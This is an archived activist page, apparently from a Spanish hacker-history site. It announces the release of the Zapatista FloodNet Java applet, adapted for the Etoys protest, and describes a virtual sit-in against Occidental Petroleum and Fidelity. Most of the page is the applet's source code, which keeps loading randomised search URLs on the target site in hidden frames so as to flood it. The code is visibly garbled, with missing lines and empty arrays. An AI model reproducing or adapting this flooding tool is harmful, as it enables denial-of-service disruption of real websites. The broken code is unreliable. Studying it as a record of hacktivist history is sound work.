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Zapatista FloodNet

03/05/2000 04:01 PM

Code for Zapatista FloodNet - adapted for etoys - for

We are networks without gravity, here the apple falls up. -the zapatistas

The web must help the weakest and poorest, let us redistribute the powers, reverse engineering!!

Many network_art_activist have not only participated in Electronic Civil Disobedience, but have also been at the heart of moving the code forward. One such reverse engineer for the people has (reno courvoisier), a member of FEDERATION OF RANDOM ACTION. has worked with Electronic Disturbance Theater, rt@mark, and is currently developing tactics in support of Leonardo ( ). But, most importantly led the VR-Sit In against OCCIDENTAL PETROLEUM ( Oxy and CdnOxy ) and FIDELITY INVESTMENTS that invests in Oxy (Al Gore own half million dollar worth of Oxy stock via Fidelity) and in support of the U�wa on February 3, 2000:

  • The U'wa of the Colombian cloud forest are

in a life-and-death struggle to protect their traditional culture and sacred homeland from an oil project slated to begin on their land at anytime. The U'wa are adamantly opposed to the drilling and warn that the project will lead to an increase in violence as seen in other oil regions of Colombia. Despite this, Los Angeles-based Occidental Petroleum and the Colombian government continue to move forward with plans to drill. answered The U'wa�s call for international support.and action to bear witness to this act of destruction. The Sit-In created a disturbance that was so effective that Fidelity Investment in an act of cyber vigilantism shut down The Federation of Random Action�s URL. An aggressive tactic by e-commence that will continue to grow in use against non-violent, network activism.

In honor of the work done by, and many others like him and the Federation of Random Action, the Electronic Disturbance Theater is releasing the code from the Zapatista FloodNet during the Etoys vs. Etoy actions.

Zapata Vive!!



/* zapatistaFlood - adapted for etoys


import java.applet.*; import java.awt.*; import; import; import java.util.*;


* This applet displays image.gif and calls fake urls to a frame called

"target" + repeatedly

 calls urls into named html frames "target2", "target3", and "target4"
  • /
  public class etoyFlood extends Applet implements Runnable {
      Image image;
      SendMessageEtoyNet sendspam;
      Thread runner;
      String theplace=null;
       public void init() {
               image = getImage(getCodeBase(), "image100x75.gif");
               sendspam = new SendMessageEtoyNet(getAppletContext());
               theplace = "";
       public void start() {
               if (runner==null) {
                       runner=new Thread(this);
       public void stop() {
               if (runner!=null) {
       public void run() {
               while (true) {
                       sendspam.engage(theplace, "target2");
                       try {Thread.sleep(2500);}
                       catch (InterruptedException e) {}
                       sendspam.engage(theplace, "target3");
                       try {Thread.sleep(2000);}
                       catch (InterruptedException e) {}
                       sendspam.engage(theplace, "target4");
                       try {Thread.sleep(3000);}
                       catch (InterruptedException e) {}
       public void paint(Graphics g) {
               //Draw image at its natural size first.
               g.drawImage(image, 0, 0,100,75, this); //100x75 image


//sends URL class SendMessageEtoyNet extends Frame {

       AppletContext appletContext;
       String badUrlString= new String();
       FormURLetoyNet formurl= new FormURLetoyNet();

       public SendMessageEtoyNet(AppletContext appletContext) {
               this.appletContext = appletContext;
       // engage
       public void engage(String str, String frame) {
               URL url = null;
               try {
                       url = new URL(str+formurl.getstring());
               } catch (MalformedURLException e) {
                       System.out.println("Malformed URL");
               if (url != null) {
                       appletContext.showDocument(url, frame);
               } else {
                       System.out.println("Null URL");


// forms URL- in this version it just returns a randon extention for the

base url // from a database of good and bad urls - conceptually specific to etoys

- // should be modified for other causes:-) // class FormURLetoyNet {

       Random randy;
       int i;
       String[] l1 = {
       String[] l2 = {
               "Magic+School Bus",
               "Schoolhouse Rock",
       String[] l3 = {
       FormURLetoyNet() {
               randy= new Random();
       public String getstring()  {
               String base="exec/search.cgi?store=e&emp=et&keyword=";
               String str="";
               int t;
               if (t>=0 && t<=9) {
                       return "html/et_home.shtml?SID=a"+getID();
               } else if (t>=10 && t<=15) {


               } else {
                       if ((int)(randy.nextDouble()*10)==0) {


                       if (t==0) {




                       } else if (t==1) {



                       } else {


                       return str;
       public String getID() {
               String temp="";
               for (i=0; i<8; i++) {
               return temp;


Retrieved from "FloodNet" - La historia nunca contada del underground hacker en la Península Ibérica.